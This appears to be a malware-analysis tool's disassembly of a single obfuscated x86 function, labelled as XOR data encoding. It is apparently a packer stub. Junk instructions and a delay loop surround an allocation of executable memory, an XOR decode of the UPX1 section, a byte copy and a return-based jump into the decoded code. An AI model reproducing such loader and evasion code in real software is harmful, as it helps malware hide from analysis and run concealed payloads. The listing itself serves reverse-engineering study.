Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa024b1cf
sub edi, 1
or edi, edi
mov edi, esi
popal
add esi, 0xd4d241b4
or esi, esi
mov ebx, 0
mov edi, ecx
mov eax, esi
mov esi, eax
mov esi, 0xabacf7a1
mov edx, edi
sub eax, 0xd59a214c
add esi, eax
sub eax, esi
mov ecx, edx
add esi, esi
sub eax, esi
dec esi
add ebx, 1
and eax, eax
or eax, esi
or esi, eax
cmp ebx, 0x1003bf6
jne 0x47afd6
not esi
mov eax, esi
and esi, esi
cmp ebx, 0x1003bf6
je 0x47b021
mov edx, 0
mov dword [edx], eax
add eax, 0x1057285c
add eax, 0x1a17ec61
sub esi, 0x3e2b8304
or esi, edi
or esi, edi
sub esi, edi
mov esi, 0x47ada2
sub edx, edi
sub ecx, 0x299154ce
mov ecx, 0xb1c7038
mov ebx, 0x47af96
or ecx, edx
inc edx
not ecx
mov eax, dword [esi]
add edi, 0x85f2422b
sub edx, 0x979472d7
and eax, 0xff
add ecx, edi
sub ecx, 1
xor dword [ebx], eax
sub edx, ecx
mov ecx, 0xd4873d48
inc ecx
inc ebx
add edi, edx
sub edi, 1
sub edi, 0xb044f7ce
inc esi
and edx, edx
or edi, ecx
cmp ebx, entry0
jl 0x47b055
inc ecx
and edx, edi
dec ecx
add edi, 1
inc edi
add edi, edi
mov edx, ecx
not edi
mov esi, 0x47af9a
mov edi, 0xafa3757c
sub edi, 0x1cb00054
mov ebx, 0x83dda595
mov esi, dword [esi]
not edx
sub edx, ebx
mov esi, dword [esi]
inc edx
mov ebx, 0x3980a1c
sub edx, 0x4b5be295
push esi
or edx, edi
add edi, 0x9c582199
mov esi, 0x47af96
and ebx, ecx
add ecx, 0x65de291b
mov esi, dword [esi]
sub ecx, edx
mov ebx, edx
not edi
mov esi, dword [esi]
add edx, 0x19ede0ca
add edi, ecx
push 0x47af9e
mov edi, ebx
sub edi, 0x2e5db46b
add edi, 0xf2c026f4
call esi
add edx, edx
and edi, ecx
inc ecx
pop esi
mov ebx, 0x88f42588
or edi, edx
push 0x47afab
sub edx, 0x6e9d7c7b
and ecx, ecx
sub esp, 4
mov dword [esp], eax
sub ecx, ebx
and ebx, edi
and edx, ecx
call esi
dec ecx
or edx, ebx
sub ecx, 1
sub esp, 4
mov dword [esp], 0x40
mov edx, ebx
or ebx, ebx
sub esp, 4
mov dword [esp], 0x3000
dec edx
add edx, 1
add ebx, 1
sub esp, 4
mov dword [esp], 0x2000048b
mov ecx, 0x50360e0b
dec ebx
add ebx, 0x76488108
sub esp, 4
mov dword [esp], 0
inc ecx
sub edx, ebx
mov edi, 0xf1f33dfc
call eax
and edx, edi
inc edi
add eax, 0x2000041f
sub edx, edi
inc edx
mov esi, 0x88cf2664
inc edx
and ecx, edx
mov ecx, 0xcd411e1b
mov dword [eax], esi
inc edi
add edx, 0xcb65d44c
mov esi, dword [eax]
inc edi
sub ebx, edx
cmp esi, 0x88cf2664
je 0x47b1c8
mov edx, 0
mov dword [edx], ecx
mov ecx, 0x472be9f6
add edx, 0x5a7726bd
and edx, ebx
and ebx, ebx
or edx, edx
and edx, ebx
inc esi
add edi, 0xccb47849
not esi
mov ebx, section.UPX1
inc esi
add esi, esi
mov ecx, 0x47ada1
mov edi, 0x3a23151e
sub edi, esi
mov edi, 0x7d6d1ab1
mov edx, 0
not esi
sub esi, 0xd47a42f9
add esi, 0x2dc485a
mov eax, 0x47ada2
sub edi, 0xe7213ee4
not esi
lea eax, [edx + eax]
mov edi, esi
sub edi, 0x39500390
sub edi, 0x61e54b6f
mov eax, dword [eax]
add esi, edi
mov esi, 0x56242705
and eax, 0xff
and edi, edi
dec edi
dec esi
inc edx
add edi, edi
inc esi
sub edi, esi
cmp edx, 0x1f4
jne 0x47b254
mov edx, 0
not esi
and edi, edi
sub esi, edi
not esi
and esi, edi
sub edi, 0xe896747f
xor dword [ebx], eax
sub esi, 0x1e017c07
sub edi, 1
mov esi, 0xec91697d
add ebx, 2
sub edi, esi
add esi, edi
cmp ebx, ecx
jl 0x47b210
or esi, edi
add edi, esi
inc esi
dec edi
and esi, edi
mov ecx, section.UPX1
sub eax, 0xe8828430
mov edx, 0x4b1c8533
mov esi, section.UPX1
add edx, eax
add edx, eax
dec eax
mov edi, 0x47ada1
and eax, eax
inc eax
add eax, 0xadd182d
mov ebx, 0
add eax, 0x3057f672
and eax, edx
mov eax, 0x13906384
mov bl, byte [esi]
mov edx, 0xcbae284
dec edx
and edx, edx
mov byte [ecx], bl
mov edx, 0xbe88a99a
sub edx, 0x7e887eef
inc ecx
mov edx, eax
mov eax, 0xf6352aab
dec edx
add esi, 2
and edx, eax
sub eax, 1
cmp esi, edi
jle 0x47b2cb
or eax, eax
or eax, eax
sub edi, esi
or edi, edi
add esi, 0xe944b782
push 0x45e6a0
mov esi, edi
sub esi, 0xea32ed0f
ret